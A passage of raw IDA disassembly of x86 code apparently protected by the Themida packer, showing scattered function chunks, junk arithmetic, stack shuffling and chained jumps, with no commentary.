; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569A84


loc_56A87C:				; CODE XREF: sub_569A84-4E35j
		mov	eax, 5F4C2755h
		shl	eax, 6
		add	eax, 2CF62AC4h
		sub	ebx, eax
		pop	eax
		xor	ebx, [esp+0]
		xor	[esp+0], ebx
		xor	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5736BF
; END OF FUNCTION CHUNK	FOR sub_569A84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_56A89D:				; CODE XREF: sub_5643EB+70C6j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56A119


loc_56A8A2:				; CODE XREF: sub_56A119+1Aj
		push	7568h
		mov	[esp+0], edi
		mov	edi, 923DE193h
		sub	ebp, edi
		mov	edi, [esp+0]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		jmp	loc_57116D
; END OF FUNCTION CHUNK	FOR sub_56A119
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568D9E


loc_56A8C2:				; CODE XREF: sub_568D9E+AFD6j
		mov	[esp+0], eax
		push	ecx
		mov	ecx, 31987FEEh
		mov	eax, ecx
		pop	ecx
		mov	edi, eax
		mov	eax, [esp+0]
		add	esp, 4
		push	ebp
		mov	ebp, 15AE6C66h
		mov	eax, ebp
		pop	ebp
		xchg	eax, edi
		jmp	loc_5716A6
; END OF FUNCTION CHUNK	FOR sub_568D9E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5662F9


loc_56A8E5:				; CODE XREF: sub_5662F9+5E35j
		xor	ecx, [esp+8+var_8]
		xor	[esp+8+var_8], ecx
		xor	ecx, [esp+8+var_8]
		jmp	loc_569BA6
; END OF FUNCTION CHUNK	FOR sub_5662F9
; ---------------------------------------------------------------------------


loc_56A8F3:				; CODE XREF: Themida_:0056528Bj
		jmp	loc_55FF9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56628B


loc_56A8F8:				; CODE XREF: sub_56628B+E05Dj
		mov	[esp+0Ch+var_C], eax
		mov	eax, 468E400Ch
		jmp	loc_573C9D
; END OF FUNCTION CHUNK	FOR sub_56628B
; ---------------------------------------------------------------------------


loc_56A905:				; CODE XREF: Themida_:0056BD8Ej
		sub	ebx, 84209FFDh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5655E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_56A913:				; CODE XREF: sub_5678CB+24j
		mov	[esp+0Eh+var_E], ecx
		mov	ch, al
		mov	bh, ch
		pop	ecx
		jmp	loc_566D2A
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574D8F


loc_56A920:				; CODE XREF: sub_574D8F-90A3j
		pop	esp
		mov	[esp+0], eax
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574D8F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574CBE


loc_56A929:				; CODE XREF: sub_574CBE-B210j
		add	eax, 650E4B2Dh
		add	eax, ebx
		sub	eax, 650E4B2Dh
		jmp	loc_56EEBE
; END OF FUNCTION CHUNK	FOR sub_574CBE
; ---------------------------------------------------------------------------


loc_56A93A:				; CODE XREF: Themida_:00574F81j
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		dec	edi
		sub	edi, 1848714Bh
		and	edi, 6A7C090Ah
		push	edx
		mov	edx, 962D50C0h
		add	edi, edx
		pop	edx
		mov	esi, edi
		jmp	loc_570EE8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5673C3


loc_56A968:				; CODE XREF: sub_5673C3-631Bj
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		mov	esp, [esp+0]
		and	eax, esi
		pop	esi
		or	eax, eax
		jnz	loc_570135
		push	1
		push	dword ptr [esp+0]
		push	[esp+4+var_4]
		mov	edx, [esp+8+var_8]
		push	ebp
		push	esp
		pop	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], eax
		jmp	loc_573BA7
; END OF FUNCTION CHUNK	FOR sub_5673C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56A99B:				; CODE XREF: sub_565632+39A7j
		pop	ecx
		push	edi
		push	[esp-0Ch+arg_C]
		pop	edi
		pop	[esp-0Ch+arg_8]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	2C75h
		mov	[esp-10h+arg_C], ecx
		sub	esp, 4
		jmp	loc_57258F
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_56A9BD:				; CODE XREF: sub_568E5C-772Ej
		not	edx
		neg	edx
		jmp	loc_5646B6
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574656


loc_56A9C6:				; CODE XREF: sub_574656-10129j
		pop	dword ptr [edi+24h]
		sub	dword ptr [edi+24h], 288D37A7h
		push	[esp-4+arg_0]
		pop	eax
		push	3DC9h
		jmp	loc_56776A
; END OF FUNCTION CHUNK	FOR sub_574656
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_56A9DE:				; CODE XREF: sub_5643EB+C7F4j
		pop	edx
		mov	edx, ebx
		pop	ebx
		inc	edx
		and	edx, 0EF003F6h
		jmp	loc_56C9CA
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FA15


loc_56A9EE:				; CODE XREF: sub_56FA15-3189j
		mov	ah, 0AEh
		neg	ah
		add	ah, 0BCh
		neg	ah
		add	ah, 0C5h
		add	ah, 9Ah
		jmp	loc_5689BB
; END OF FUNCTION CHUNK	FOR sub_56FA15
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56AA02:				; CODE XREF: sub_564D26+C0B3j
		mov	[esp+28h+var_28], eax
		mov	eax, 8E86689Dh
		add	edi, eax
		mov	eax, [esp+28h+var_28]
		push	ebx
		jmp	loc_57056F
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56AA15:				; CODE XREF: sub_56616D-2818j
		xor	[esp+0], esi
		xor	esi, [esp+0]
		jmp	loc_566627
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56AA20:				; CODE XREF: sub_56102D-544j
		push	edi
		mov	edi, 4FC0190h
		jmp	loc_56D634
; END OF FUNCTION CHUNK	FOR sub_56102D

; =============== S U B	R O U T	I N E =======================================



sub_56AA2B	proc near		; CODE XREF: sub_566B79-4634j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056060F SIZE 00000027 BYTES
; FUNCTION CHUNK AT 005618BD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00569A6A SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00570CFF SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00572296 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00572CC4 SIZE 00000006 BYTES

		push	ebx
		push	esp
		mov	ebx, [esp+8+var_8]
		add	esp, 4
		add	ebx, 4
		jmp	loc_570CFF
sub_56AA2B	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569D5F


loc_56AA41:				; CODE XREF: sub_569D5F-886Dj
		pop	ecx
		sub	al, bh
		pop	ebx
		push	ebx
		mov	bl, 0C6h
		dec	bl
		xor	bl, 83h
		add	al, bl
		push	[esp+4+var_4]
		pop	ebx
		add	esp, 4
		add	al, bl
		sub	al, 46h
		push	ebp
		jmp	loc_56342A
; END OF FUNCTION CHUNK	FOR sub_569D5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_56AA60:				; CODE XREF: sub_564D26-3D8Fj
		and	eax, edx
		push	[esp+10h+var_10]
		push	[esp+14h+var_14]
		pop	edx
		add	esp, 4
		jmp	loc_560F9C
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FAE2


loc_56AA71:				; CODE XREF: sub_56FAE2+482Ej
		add	word ptr [esp-4+arg_0],	2
		pop	small word ptr [esp-4+arg_0]
		push	bp
		mov	bp, 2
		add	word ptr [esp-4+arg_0+2], bp
		pop	bp
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56FAE2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569FB8


loc_56AA8D:				; CODE XREF: sub_569FB8+7C37j
		mov	[esp+6+var_6], ecx
		sub	esp, 4
		mov	[esp+0Ah+var_A], ebx
		mov	bl, 94h
		mov	ch, 0E2h
		jmp	loc_56D8BC
; END OF FUNCTION CHUNK	FOR sub_569FB8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569D5F


loc_56AAA2:				; CODE XREF: sub_569D5F+AF74j
		add	al, cl
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		mov	dx, [esp+0]
		jmp	loc_56E848
; END OF FUNCTION CHUNK	FOR sub_569D5F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56959A


loc_56AAB6:				; CODE XREF: sub_56959A+95EFj
		add	ebx, eax
		push	[esp+8+var_8]
		pop	eax
		add	esp, 4
		pop	edx
		jmp	loc_56D39E
; END OF FUNCTION CHUNK	FOR sub_56959A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57523A


loc_56AAC5:				; CODE XREF: sub_57523A-EB04j
		push	esi
		jmp	loc_5624BC
; END OF FUNCTION CHUNK	FOR sub_57523A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570732


loc_56AACB:				; CODE XREF: sub_570732-BEFFj
		add	ebx, 2D3C1DC4h
		pop	esi
		push	ebx
		jmp	loc_569E5C
; END OF FUNCTION CHUNK	FOR sub_570732
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5683C0


loc_56AAD8:				; CODE XREF: sub_5683C0-1F63j
		mov	ebx, [esp+0Ch+var_C]
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp+10h+var_10]
		pop	esp
		add	edx, esi
		jmp	sub_574C6D
; END OF FUNCTION CHUNK	FOR sub_5683C0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56351E


loc_56AAF2:				; CODE XREF: sub_56351E+1192Aj
		mov	ecx, [esp+0]
		add	esp, 4
		add	ecx, edi
		pop	edi
		push	ebp
		push	ecx
		push	407B0EBAh
		pop	ecx
		jmp	loc_572548
; END OF FUNCTION CHUNK	FOR sub_56351E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571C93


loc_56AB0B:				; CODE XREF: sub_571C93+DFDj
		push	edx
		mov	edx, esp
		push	ecx
		mov	ecx, 4
		add	edx, ecx
		pop	ecx
		add	edx, 4
		push	edx
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		jmp	loc_56B269
; END OF FUNCTION CHUNK	FOR sub_571C93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_56AB28:				; CODE XREF: sub_56B11B-80F0j
		mov	eax, [esp+8+var_8]
		add	esp, 4
		pop	[esp+4+var_4]
		not	eax
		push	eax
		push	dword ptr [esp+4]
		push	[esp+8+var_8]
		pop	eax
		push	ebp
		push	5632h
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		jmp	loc_56A496
; END OF FUNCTION CHUNK	FOR sub_56B11B

; =============== S U B	R O U T	I N E =======================================



sub_56AB51	proc near		; DATA XREF: Themida_:0055FD08o

var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00561C51 SIZE 0000005B BYTES
; FUNCTION CHUNK AT 00563D91 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 005658E4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567786 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00569984 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056B96A SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00570801 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 00571D8E SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00574446 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00575361 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057540C SIZE 00000014 BYTES

		mov	ax, [esp+0]
		push	eax
		mov	eax, esp
		push	ecx
		jmp	loc_561C51
sub_56AB51	endp


; =============== S U B	R O U T	I N E =======================================



sub_56AB5E	proc near		; CODE XREF: sub_561C21+89D4j

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00560684 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00560BDC SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005618C2 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00562888 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00562A80 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00562BFE SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005632D4 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00563763 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 00563866 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00563A29 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 0056428E SIZE 00000020 BYTES
; FUNCTION CHUNK AT 00566059 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005660D9 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056639A SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00566462 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005672AC SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005680B3 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00568320 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005690BD SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005691B4 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056A562 SIZE 00000036 BYTES
; FUNCTION CHUNK AT 0056AB85 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0056B6F5 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C8CE SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0056C9FA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056CA8F SIZE 0000001B BYTES
; FUNCTION CHUNK AT 0056CF46 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056D818 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056DD6D SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056E9BE SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0056EAA5 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056EB86 SIZE 00000028 BYTES
; FUNCTION CHUNK AT 005721BB SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057230B SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00572BBF SIZE 00000038 BYTES
; FUNCTION CHUNK AT 00573A36 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005745EA SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005751A9 SIZE 0000002E BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edx
		push	eax
		mov	al, 4Dh
		mov	dh, 57h
		sub	dh, 90h
		jmp	loc_5691B4
sub_56AB5E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_56AB74:				; CODE XREF: sub_571088+2ADFj
		mov	dh, bl
		mov	ah, dh
		jmp	loc_562F6A
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_56AB7D:				; CODE XREF: sub_56657A+ED45j
		push	cx
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56657A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_56AB85:				; CODE XREF: sub_56AB5E-4A82j
		sub	bh, ah
		push	dx
		mov	dh, 54h
		sub	bh, 7Ah
		jmp	loc_5632D4
; END OF FUNCTION CHUNK	FOR sub_56AB5E

; =============== S U B	R O U T	I N E =======================================



sub_56AB93	proc near		; DATA XREF: Themida_:0055FE80o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00562D7E SIZE 0000002B BYTES
; FUNCTION CHUNK AT 00568CEB SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056AC57 SIZE 00000032 BYTES
; FUNCTION CHUNK AT 0056E610 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005746DB SIZE 00000006 BYTES

		mov	ax, [esp+0]
		push	1B73h
		mov	[esp+4+var_4], esi
		push	3029h
		mov	[esp+8+var_8], esp
		push	ebx
		mov	ebx, 4
		add	[esp+0Ch+var_8], 648B2C7Bh
		add	[esp+0Ch+var_8], ebx
		sub	[esp+0Ch+var_8], 648B2C7Bh
		pop	ebx
		mov	esi, [esp+8+var_8]
		add	esp, 4
		jmp	loc_5746DB
sub_56AB93	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_56ABD0	proc near		; CODE XREF: sub_56E4D4+41F8j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00563F88 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00571EB3 SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00572D71 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00572E00 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0057319A SIZE 0000003D BYTES

		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp+4+var_4], ecx
		mov	ecx, 63C6166Dh
		sub	ecx, 63C61669h
		add	ebp, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		add	ebp, 4
		jmp	loc_563F88
sub_56ABD0	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569193


loc_56ABFA:				; CODE XREF: sub_569193-7ADBj
		mov	[esp+0], ebx
		push	8000h
		jmp	loc_567E80
; END OF FUNCTION CHUNK	FOR sub_569193
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FB8A


loc_56AC07:				; CODE XREF: sub_56FB8A+23A9j
		push	edx
		mov	edx, 0F6F4F66h
		sub	ebx, edx
		pop	edx
		push	edi
		mov	edi, 2761228h
		push	ebx
		mov	ebx, 491D589Eh
		and	edi, ebx
		mov	ebx, [esp+8+var_8]
		push	edi
		mov	edi, esp
		jmp	loc_563A8A
; END OF FUNCTION CHUNK	FOR sub_56FB8A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E27


loc_56AC29:				; CODE XREF: sub_570E27-5B1Cj
		mov	[esp+0], edx
		mov	edx, 88126D8h
		push	eax
		push	edi
		mov	edi, 43E83E3Bh
		mov	eax, edi
		mov	edi, [esp+8+var_8]
		add	esp, 4
		or	edx, eax
		pop	eax
		jmp	loc_562C72
; END OF FUNCTION CHUNK	FOR sub_570E27
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56AC4B:				; CODE XREF: sub_56616D+C01Aj
		inc	esi
		push	ebp
		mov	ebp, 0D4CB3B8Eh
		jmp	loc_573B2F
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB93


loc_56AC57:				; CODE XREF: sub_56AB93-7DEFj
		mov	[esp+0Ch+var_C], ecx
		sub	esp, 4
		mov	[esp+10h+var_10], esp
		add	[esp+10h+var_10], 4
		pop	ecx
		add	ecx, 4
		add	ecx, 4
		push	ecx
		push	[esp+10h+var_C]
		pop	ecx
		pop	[esp+10h+var_10]
		pop	esp
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_56E610
; END OF FUNCTION CHUNK	FOR sub_56AB93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567C58


loc_56AC89:				; CODE XREF: sub_567C58-1C35j
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_567C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_56AC8E:				; CODE XREF: sub_563A7F+8D18j
		movzx	eax, al
		jmp	loc_560750
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_573612


loc_56AC96:				; CODE XREF: sub_573612-6050j
		xor	ebx, [esp+8+var_8]
		xor	[esp+8+var_8], ebx
		xor	ebx, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		ror	[esp-4+arg_0], cl
		pushf
		jmp	loc_56F3F9
; END OF FUNCTION CHUNK	FOR sub_573612
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_56ACAB:				; CODE XREF: sub_56F782-6DB6j
		push	esp
		push	[esp+0Ch+var_C]
		push	[esp+10h+var_10]
		pop	esi
		jmp	loc_56B183
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_56ACB8:				; CODE XREF: sub_561027+962Dj
		mov	ebx, [esp+14h+var_14]
		jmp	loc_5695C4
; END OF FUNCTION CHUNK	FOR sub_561027

; =============== S U B	R O U T	I N E =======================================



sub_56ACC0	proc near		; CODE XREF: sub_566B37+1A39j

var_4		= dword	ptr -4

		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	[esp+4+var_4]
		mov	esp, [esp+0]
		mov	[esp+0], ax
		jmp	loc_55FF9F
sub_56ACC0	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56ACD5:				; CODE XREF: sub_57146D-16DBj
		pop	esp
		push	edx
		mov	edx, esp
		jmp	loc_562FCD
; END OF FUNCTION CHUNK	FOR sub_57146D

; =============== S U B	R O U T	I N E =======================================



sub_56ACDE	proc near		; CODE XREF: sub_56DA36-CE82j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00567435 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056BA33 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0056C6EB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00573E25 SIZE 00000026 BYTES

		push	ebp
		mov	ebp, 4AA764DDh
		push	edi
		mov	edi, 6CA92EE8h
		jmp	loc_567435
sub_56ACDE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57146D


loc_56ACEF:				; CODE XREF: sub_57146D-5F2Ej
		add	al, 1
		neg	al
		xor	al, 0DCh
		mov	dl, al
		pop	eax
		jmp	loc_561968
; END OF FUNCTION CHUNK	FOR sub_57146D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56C7AA


loc_56ACFD:				; CODE XREF: sub_56C7AA-6860j
		pop	ebx
		mov	ebx, esi
		pop	esi
		push	ebx
		push	eax
		pop	ebx
		pop	eax
		jmp	loc_562F78
; END OF FUNCTION CHUNK	FOR sub_56C7AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_56AD0A:				; CODE XREF: sub_563FA2+8CFCj
		mov	eax, [esp+8+var_8]
		jmp	loc_574DAC
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56D4B8


loc_56AD12:				; CODE XREF: sub_56D4B8-C99Cj
		mov	eax, [esp+4+var_4]
		jmp	loc_563BFB
; END OF FUNCTION CHUNK	FOR sub_56D4B8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574C6D


loc_56AD1A:				; CODE XREF: sub_574C6D-11789j
		push	edx
		push	[esp-4+arg_4]
		pop	edx
		pop	[esp-4+arg_0]
		mov	esp, [esp-8+arg_4]
		test	cl, al
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_574C6D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_57354D


loc_56AD2E:				; CODE XREF: sub_57354D-C889j
		push	2A020706h
		pop	ecx
		and	ecx, 24E05C1Bh
		or	ecx, 5E0157D2h
		jmp	loc_574157
; END OF FUNCTION CHUNK	FOR sub_57354D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_56AD45:				; CODE XREF: sub_563DCB+C4FEj
		mov	dh, al
		mov	ch, dh
		pop	edx
		jmp	loc_563655
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------


loc_56AD4F:				; CODE XREF: Themida_:0056F801j
		pop	ebp
		jmp	loc_575426
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_56AD55:				; CODE XREF: sub_563FA2+DB33j
		mov	esp, [esp+0]
		jmp	loc_5753AE
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


loc_56AD5D:				; CODE XREF: sub_56FD38-3BBj
		xor	ebx, 4C9C1E71h
		jmp	loc_566E8A
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56102D


loc_56AD68:				; CODE XREF: sub_56102D+F0C1j
		shl	edx, 3
		push	eax
		mov	eax, 1B571EEFh
		jmp	loc_560AE6
; END OF FUNCTION CHUNK	FOR sub_56102D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572075


loc_56AD76:				; CODE XREF: sub_572075-657Ej
		pop	esp
		mov	[esp+0], ebp
		push	[esp+arg_0]
		mov	ebp, [esp+4+var_4]
		push	edx
		jmp	loc_56269D
; END OF FUNCTION CHUNK	FOR sub_572075
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56EE9F


loc_56AD87:				; CODE XREF: sub_56EE9F-E687j
		add	ecx, edx
		jmp	loc_564C68
; END OF FUNCTION CHUNK	FOR sub_56EE9F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5643EB


loc_56AD8E:				; CODE XREF: sub_5643EB+1j
		mov	ebp, 329940C1h
		or	ebx, ebp
		pop	ebp
		jmp	loc_56798F
; END OF FUNCTION CHUNK	FOR sub_5643EB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_56AD9B:				; CODE XREF: sub_566C83-3B9Bj
		pop	esi
		pop	esi
		jmp	sub_5634AF
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56616D


loc_56ADA2:				; CODE XREF: sub_56616D+2F08j
		mov	[esp-10h+arg_C], edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp-10h+arg_C]
		xor	[esp-10h+arg_C], edx
		xor	edx, [esp-10h+arg_C]
		jmp	loc_56B048
; END OF FUNCTION CHUNK	FOR sub_56616D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_56ADBE:				; CODE XREF: sub_56F1DB-BEA0j
		add	eax, ebp
		sub	eax, 35CF10B6h
		pop	ebp
		add	eax, 4
		xchg	eax, [esp-4+arg_0]
		pop	esp
		push	ebx
		push	esp
		pop	ebx
		push	eax
		jmp	loc_5600B7
; END OF FUNCTION CHUNK	FOR sub_56F1DB

; =============== S U B	R O U T	I N E =======================================



sub_56ADD8	proc near		; CODE XREF: sub_574F16-133F3j

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0056EACA SIZE 00000009 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	ebx, 28h
		add	ebx, edi
		mov	[ebx], cl
		jmp	loc_56EACA
sub_56ADD8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567C58


loc_56ADEF:				; CODE XREF: sub_567C58-666Bj
		pop	eax
		add	esp, 4
		add	edi, 469BD1D6h
		sub	ebp, 4C0851AEh
		sub	ebp, edi
		add	ebp, 4C0851AEh
		pop	edi
		add	eax, 60DF21F4h
		add	eax, ebp
		push	esi
		mov	esi, 3FED5D3Fh
		neg	esi
		push	118Dh
		mov	[esp+14h+var_14], eax
		mov	eax, 446C3564h
		jmp	loc_5634F9
; END OF FUNCTION CHUNK	FOR sub_567C58
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56657A


loc_56AE2C:				; CODE XREF: sub_56657A-289Ej
		mov	edx, 7B630FB6h
		shl	edx, 2
		shl	edx, 4
